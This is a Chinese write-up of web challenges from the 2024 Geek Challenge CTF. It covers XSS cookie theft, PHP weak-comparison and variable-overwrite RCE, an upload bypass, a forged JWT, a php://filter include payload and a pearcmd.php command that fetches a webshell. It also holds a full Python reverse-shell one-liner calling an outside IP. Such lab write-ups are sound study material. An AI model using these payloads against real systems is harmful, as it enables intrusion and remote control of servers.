2024极客大挑战
Problem_On_My_Web
在Submit your love处先测试SSTI发现正常回显,看到第二个功能点
很明显应该要用XSS弹Cookie,测试也发现确实存在XSS

构造命令
然后再/manager目录提交url=http://127.0.0.1/

100%的⚪
搜索alert然后解码就行
rce_me
```php Can you RCE me?if (!is_array($_POST["start"])) {
if (!preg_match("/start.*now/is", $_POST["start"])) {
if (strpos($_POST["start"], "start now") === false) {
die("Well, you haven't started.
");
}
}
}
echo "Welcome to GeekChallenge2024!
";
if (
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
echo "You took the first step!
";
foreach ($_GET as $key => $value) {
$$key = $value;
}
if (intval($year) < 2024 && intval($year + 1) > 2025) {
echo "Well, I know the year is 2024<br>";
if (preg_match("/.+?rce/ism", $purpose)) {
die("nonono");
}
if (stripos($purpose, "rce") === false) {
die("nonononono");
}
echo "Get the flag now!<br>";
eval($GLOBALS['code']);
} else {
echo "It is not enough to stop you!<br>";
}
} else {
echo "It is so easy, do you know sha1 and md5?
";
}
?>
本来以为第一个是要用百万级字符串绕过过滤,结果仔细看了代码才发现start now就行
第二部分 PHP 在解释变量名时出现 `点` 和 `空格` 时会将它们转换成下划线,不能直接传参,
> 当PHP版本小于8时,如果参数中出现中括号 `[` ,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号 `[`出现在前面,那么中括号 `[` 还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_,即只替换 [
>
所有需要传参`_[2024.geekchallenge.ctf=aaroZmOk,考察的弱比较,md5("Geekchallenge2024_bmKtL")` 的结果为 `0e26778378603730793823426720797`, `sha1("aaroZmOk") = "0e66507019969427134894567494305185566735"`)
```php
foreach ($_GET as $key => $value) {
$$key = $value;
}
将每个通过GET方式传递的参数都直接注册为当前作用域的一个变量,变量名就是参数名
后面的过滤就比较简单了

baby_upload
 上传图片马,把文件名改成2.kfc.php就可以绕过
ez_http
> POST /?welcome=geekchallenge2024 HTTP/1.1 > > Referer: [https://www.sycsec.com](https://www.sycsec.com) > > Starven:I_Want_Flag > > Cookie:token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3NTExODg1NTMsIm5iZiI6MTc1MTE4ODU1MywiZXhwIjoxNzUxMTk1NzUzLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.tjaa2VQ8FgLdDJKO6PlM7s3TFpY6jkm4cpe2rA_Ai8k > > username=Starven&password=qwert123456&hasFlag=true >最后一步的字符串,base64解码可以发现是jwt, 没有 hash 的 serectkey,用在线工具进行jwt伪造就行


ez_include
```phprequire_once 会记录已包含文件,避免重复包含,所以我们要让 让 PHP 认为两个路径是不同文件 绕过 require_once 的重复包含限制 ;/proc/self/root/ 是指向 / 的符号链接,可用伪协议配合多级符号链接的办法进行绕过
payload:/?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
来到第二关/levelllll2.php 根据提示 register_argc_argv = On``php.ini 中这个值为 on 时 php 会注册 argc 和 argv 两个全局变量,并且可以从 $_SERVER['argv'] 中获取到这些值
这里利用方法和原理可以看 https://blog.csdn.net/Mrs_H/article/details/122386511 讲的很详细
这里我是用install方法,先在本地起一个 Nginx ,然后把木马放在/var/www/html/下
?syc=/usr/local/lib/php/pearcmd.php&+install+-R+/var/www/html+http://<你的服务器ip>/ls.php

这里返回了路径连接就行
如果用另一种办法需要用bp发包
Can_you_Pass_Me
过滤了双花括号,应该可以用{%if 2>1%}success{%endif%}方法出来,不过我没尝试,用fenjing梭了这里cat /flag的话回显不了,所以这边用了反弹shell
命令如下

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('47.97.48.220',4000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
成功拿到flag

SecretInDrivingSchool
在源代码里可以找到后台地址根据提示进行密码爆破

然后在广告修改处进行RCE就行


ez_js
flag?syc={"username":"Starven"&syc="password":"123456"&syc="hasFlag":true}

浙公网安备 33010602011771号